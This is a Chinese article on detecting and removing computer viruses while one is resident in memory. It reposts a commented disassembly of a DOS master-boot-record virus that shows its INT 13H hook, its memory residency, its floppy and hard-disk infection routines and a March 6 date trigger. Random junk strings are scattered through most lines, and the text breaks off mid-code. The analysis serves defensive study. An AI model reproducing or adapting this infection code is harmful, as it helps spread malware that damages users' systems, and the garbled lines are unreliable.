近年来,新的计算机病毒发展十分猖獗,而且这些新病毒更加隐蔽 、复杂,某些新病毒所具有的破坏性更大,所带来的损失无法估量 。这表明计算机病毒的防治尤为重要,同时所面临的形势也更加严 峻 。本文就在带毒环境下检测清除病毒的方法问题提出一点体会与看法 。 0\P1; ak%
?? s2'h
?? 一 、 带毒环境下检测清除病毒的意义 -[.[>&`/
?? u'BaKWPS
?? 目前在我国流行的病毒一般可分为引导型病毒 、文件型病毒和混合型病毒 。引导型病毒的特点是它寄生在软盘的DOS引导扇区和硬盘的主引导记录或DOS引导区中 ,开机时由计算机自动读入内存中执行文件型病毒则将自身附加在可执行文件上 ,在执行被感染程序时,病毒首先获得控制权,进行驻留或破坏等活动。混合型病毒既能感染引导区也能感染可执行文件,具有更强的传染性。常用的杀毒软件有瑞星2004、金山毒霸、KV300 、公安部的KILL 、美国McAfee公司的SCAN和CLEAN等 ,这些软件各有自身的优点。但是在一个带毒的环境下,也即在病毒已经驻留在内存中的情况下,这些杀毒软件都存在不足并可能带来一些不良的后果。 4|?;TE5
?? 1=V-V<
?? 当系统感染一种已知病毒时,KILL和SCAN 发现内存中有病毒后,一般是拒绝继续执行,并要求用干净的盘重新启动。KV300发现类似的警告信息,但提供给用户一个选择的机会,以确定是否继续执行, 很显然 ,若用户选择继续 ,所带来的后果是不可预期的。 3a'<*v<xw
?? MQ6KN(?\ZL
?? 当系统感染一种未知病毒时,三种软件在未发现内存中有已知病毒后,都假设系统中无病毒,忠实地执行检测或清除功能。事实上,这个未知病毒可能会在检测时传染盘中所有的可执行文件。 MQ8J<A Pf-
?? wnC81$1l~
?? 由上面的讨论可知,清查病毒时只有从绝对干净的盘启动,而且要求杀毒软件自身无毒,才能够保证万无一失。然而,由于人们相互拷贝各种软件,很大程度上帮助了病毒的传播,在许多情况下, 要获得一张干净的启动盘很不容易,并且对于一些对计算机系统了解不是很多的使用者来说,他们根本 无法断定一张启动盘是不是干净的。因此,探讨在带毒环境下进行病毒检测和清除的方法是很有意义的 。 $xN|5;+
?? fNFY$:4X
?? 二 、带毒环境下检测清除病毒的原理 }pkzH'$HJ
?? C~/a-
?? 对于一个驻留内存伺机进行传染和破坏的病毒来说,一般都要截取某些中断向量,当其他程序调用这些中断时,病毒重新取得控制权,判断是否满足特定的条件,满足则激活传染或破坏部分,在条件不满足的情况下一般是调用原中断服务程序,实现正常的系统功能。 J)-x!y>
?? 引导型病毒常接管INT13H、08H、10H等中断;文件型病毒则常接管INT21H、24H、25H、26H、1CH 、13H、10H等中断。 Sdryol<
KbeC"mi
8$}<, c(
举一个例子: 该例子转自黑白网络"一个主引导区病毒的分析 作者:sinister " ]c'A%:f<
病毒体: 3.y vvPFEM
JMP 01AF ;JMP到01AF }qD\0+`qi
DB 00 ;病毒标计 5=ryDrx
DW 00F5 ;此为搬到高位址后,远程跳转指令 6=Otq=WH
DW 9F80 ;目的地,也就是跳下一个指令XOR AX,AX _oeS Uzq.
DB 02 oUlVI*~ND
DW 0003 ;此为软盘识别标记,硬盘为0007 ujpJ@OWj
DW EC59 ; 3^yK!-Wp(
DW F000 ;INT 13H的原入口 Nj/
x. X
. \dah^mw"
. )Pv%#P-<
. k8zI(5.>
. +
{'.7#
. }N52$L0[
XOR AX,AX ;清除AX ^iV)MTT
MOV DS,AX; ;让DS=0000 A.w.rVDD
CLI ;清I标志积存器 6D3B^.rj]
MOV SS,AX ;把堆栈设为0000:7C00也就是开机 X"%gQ.1|{j
MOV AX,7C00 ;后载入引导分区表的地址,目前地址 yJIscwF
MOV SP,AX ;开机时为0000:7CB6 o }m3y
STI ;设I标志积存器 vnuN6M{
PUSH DS ;把DS=0000,AX=7C00压栈,留给0B33:024A ;RlxD 4p
PUSH AX ;用RETF,把程序转到引导或分区表位置 jmG~Un M
MOV AX,[004C] ;取中断向量表中,INT 13H的偏移位置 CU!Dhm/U
MOV [7C0A],AX ;保存INT 13H的偏移位置,也就是存在 |vj/Wwr
MOV AX,[004E] ;取INT 13H的段地址 2D5StCF$O
MOV [7C0C],AX ;存到010C #Gi$DMW
;以上是HOOK系统读写盘调用INT 13用病毒体替代原INT 13 [Y `W
;读写以便传播发作 ]7A'7p$Y
< =IFcN
MOV AX,[0413] ;取得内存K数,放在AX 7b+6%fV
DEC AX ; ?}Y]|c^W
DEC AX ;减2k内存 oQJtUP%
MOV [0413],AX ;存回,通常是638K pd$[8Rmj_
MOV CL,06 ; _lq`a\7e
SHL AX,CL ; Tw<q,O
MOV ES,AX ;算出减2K后病毒本体的位址 6_B]MN!(
MOV [7C05],AX ;AX存入0105 x
kD6Iw
MF'JeM;H
;病毒常用手法将系统高段内存减少以便驻留 6ik$B
;这样可以免于被其他程序覆盖 '~ 47)fN
.T`%tJ-Em
MOV AX,000E ;病毒拦INT 13H E2-\]?\F(
;ISR起始的偏移量 Wx#;E9=Im
MOV [004C],AX ; J<lW<:!3]
MOV [004E],ES ;设原为病毒的INT 13H :g/tZd$G5
MOV CX,01BE ;病毒长度为1BE uPvEwq*
C
MOV SI,7C00 ;从JMP 01AF开始 {oL>1h,%3?
XOR DI,DI ;DI=0 apn*,7ps65
CLD ;清方向标志 1|:KQl2q
REPZ; ;hq\
MOVSB ;CX=1BE,将病毒自身搬移到高位址,目地是使其引导或 Q/Rqa5LI:
CS: ;分区表能载入0000:7C00正常运作 {n=|Db~S
JMP FAR [7C03] ;跳到为搬过后的位址 8eRLy/`gd
XOR AX,AX ;清AX #<xm.
MOV ES,AX ;ES=0000 |I=T@1_D
INT 13 ;复位磁盘 -yg7;ff
PUSH CS ; `WS&rmq&'
POP DS ;让DS=CS
v"0J&7!J
MOV AX,0201 ;用INT 13H读一扇区,是引导,或分区表则 DHRlWQox
MOV BX,7C00 ;读到0000:7C00 rvM {M/4
MOV CX,[0008] ;硬盘第0道,第7扇区 yf,z$CR
CMP CX,+07 ;比较是否从硬盘启动 x?<FJ"8"k
JNZ 0213 ;不是跳0213 %
]U
MOV DX,0080 ;第一硬盘C:第零面 vP,n(reM
INT 13 ;用INT 13号中断,读 N$tGQ@
JMP 023E ;跳023E比较日期,发作或正常开机 e' <)V_
MOV CX,[0008] ;软盘0道,第3扇区 "J1
4C9u
MOV DX,0100 ;A:的第0面 `d(ThP;g
INT 13 ;INT 13读盘 ^ZCD ~P_=
JB 023E ;失败跳023E \b>]8Un"
PUSH CS U$UIN#
POPES ;让ES=CS ?q [T
MOV AX,0201 ; y1#1Ne_
MOV BX,0200 ; L"aeG
MOV CX,0001 ; wuo,kM
MOV DX,0080 ; q.}CU.dp
INT 13 ;读入C:的分区表到0200,以便下面比较 iURe( [@
JB 023E ;失败跳023E B-mowmJ3dg
XOR SI,SI ;清SI 5lum $5
CLD ;清方向标志以便比较 |':{lH6+1
LODSW ;载入一个WORD到AX Y4YJJYvD
CMP AX,[BX] ;比较有无病毒存在..E9AC n&!-9:0
JNZ 0287 ;没有则跳0287传染 }QmqoCAE~m
LODSW ;载入一个WORD到AX _u Il
CMP AX,[BX+02] ;再次确认..0000 xYB{;K
JNZ 0287 ;没有跳0287 nr3==21Om4
XOR CX,CX ;清CX pK4)yu+
MOV AH,04 ; 1.>m@Slr>
INT 1A ;取得日期 Tj- s4x
CMP DX,0306 ;是否为三月六日 O".=r}
JZ 024B ;是跳024B传染 QsW/X0YBv
RETF ;把程序交还给引导启动完成 Fj!U|l\_9
H;"4C8K7
步骤4:病毒INT 13代码分析 cH)";]k*-
方法:U ajpXL
PUSH DS ;首先把要用到积存器 8?C5L8)
PUSH AX ;入栈保存 w2'5#`m
OR DL,DL ;比较是否为软盘 5-A\9UC*@
JNZ 002F ;如不是则退出传染 &nK<:^n
XOR AX,AX ;AX=0 qJw_
MOV DS,AX ;数据代段=0 y_[vr:s5pG
TEST BYTE PTR [043F],01 ;比较是否为A盘 ")25
qZae
JNZ 002F ;不是则退出 S|}L &A
POP AX ;将以上保存积存器 E(|>Ddv B&
POP DS ;弹栈恢复 i-&yH
PUSHF ;压栈标志积存器 yh=N@Z*zP
CS: ;以便执行原INT 13 Bbp|!+KP{(
CALL FAR [000A] ;执行原INT 13 q cno^8R
PUSHF ;再次压栈 LH6vLuf
CALL 0036 ;以便跳转到传染程序 }PpUAt~g
POPF ;跳转到执行传染 T8NxJmYqB
RETF 0002 ;结束中断调用返回 T^q
0'#/
POP AX ;恢复 L:x-%m%w
POP DS ;堆栈 : E?V.
CS: ;跳转到原正常INT 13 #A.@i+Zv
JMP FAR [000A] ;地址执行 54qFfN8O
fc@A0Hf
;此段代码中展现了病毒常用手法,利用标志积存器做跳转 'B}qZCy W
048kPXm`
步骤5:传染过程分析 XX~,>Q}H=
方法:U ch]29
对软盘传染过程: wyG;8I
PUSH AX ;工 yDS4h(^
PUSH BX ;作 nRY5xRvK
PUSH CX ;寄 :hA#m[
PUSH DX ;存 XfmwVjy
PUSH DS ;器 Q@H V- (A
PUSH ES ;入 i mM_H;-X
PUSH SI ;栈 0CvUc>Pj`"
PUSH DI ;保存 -{A<.a3P}=
PUSH CS ;以压/弹栈方式 J8D,ZfPN`d
POP DS ;使数据段DS和 o" SMbj
PUSH CS ;附加段ES均指向 QS j]ZA
POP ES ;代码段CS L%5%T;0'~
MOV SI,0004 ;试4次 %>s|j'{
MOV AX,0201 ;设置各 p4)Q&k!
MOV BX,0200 ;积存器 rLT!To
MOV CX,0001 ;为读软盘 ?%kV?eu'
XOR DX,DX ;引导扇区做准备 =w^M{W.w
PUSHF ;压栈标志积存器 S[QrS7
CALL FAR [000A] ;正常的INT 13调用 E)3NxmM#
JNB 0063 ;成功则转判断 )}ROLe
XOR AX,AX ;不成功复位 (iGTACoF
PUSHF ;磁盘继续读 ~{gqsuCCL
CALL FAR [000A] ;如果4次 zMJT:7*`|
DEC SI ;均匀不成功 B1Oq!k
JNZ 0045 ;则退出跳转 |'2d_vR
JMP 00A6 ;退出传染 BORA(,
XOR SI,SI ;SI=0以便用 LHmZxi?
CLD ;LODSW读入软盘 <6=c,y
LODSW ;第1或第2字进行比较 C.QO#b
CMP AX,[BX] ;比较如果不包含病毒标志 eiOW#_"\
JNZ 0071 ;则跳转写传染 9ll~~zF99|
LODSW ;如果已有标志 qY#6SO`_iy
CMP AX,[BX+02] ;则退出 5:Uso{
JZ 00A6 ;传染子程序 ze;KhUPRm
MOV AX,0301 ;为写盘准备 -{_PuJ "
MOV DH,01 ;如果是360K bjS{(
MOV CL,03 ;则写到1面0道3扇区 3mni>*q7d
CMP BYTE PTR [BX+15],FD ;比较软盘 y3ikWnx
JZ 0080 ;如果大于360K s(8W_4&'
MOV CL,0E ;写到1面0道14扇区 Qei"'~1a
MOV [0008],CX ;写病毒标志到软盘 (9h`3#
PUSHF ;调用原INT 13 RGX=)
CALL FAR [000A] ;进行传染 "*H`HRi4T
JB 00A6 UZ$/Ni
MOV SI,03BE ;以下是将正常 E!AE4B1bd
MOV DI,01BE ;引导扇区从 c:g'.'/*
MOV CX,0021 ;1BE起的21字节内容 Cls%M5MH
CLD ;搬移到病毒程序尾部 xwty<?dRW1
REPZ ;开始复制 |)G<,FJQE_
MOVSW %07SFu#
MOV AX,0301 ;写盘功能调用,写一个扇区 l@:0e]8|o
XOR BX,BX ;将病毒程序 $mB;K]m
MOV CX,0001 ;写入软盘引导扇区内 .{KVMc
XOR DX,DX ;设置为软盘 Lh<).<S
PUSHF ?' je)F
CALL FAR [000A] ;执行正常INT 13调用写盘 hpJ-r
POP DI ;将 3k?X-|O8AZ
POP SI ;工 abEmRJTmW
POP ES ;作 -!9G0h&i|
POP DS ;寄 nxHkv`s k
POP DX ;存 Y4(
POP CX ;器 K4);HJ|=
POP BX ;退 w`=\5Oa .G
POP AX ;栈 bYPK h
RET ;返回调用处 Ic4H# w
对硬盘传染过程: ctJE+1#PH
MOV CX,0007 ;第7扇区 8sCv]|cn
MOV [0008],CX ;此处为硬盘引导标记 sT' 5%4
MOV AX,301 ;写功能调用 ]0\MmAJRn
MOV DX,0080 ;设置为硬盘 VD\=`r)nT
INT 13 ;将正常引导扇区写到0面0道7扇区内 e0 T\tc
JB 13E ;失败则转 A +)`ZTuO
MOV SI,03BE ;原分区表地址 #5j\C+P}|
MOV DI,01BE ;目标地址 a@*\o+Su
MOV CX,0021 ;整个分区表 K_-MYs.
REPNZ <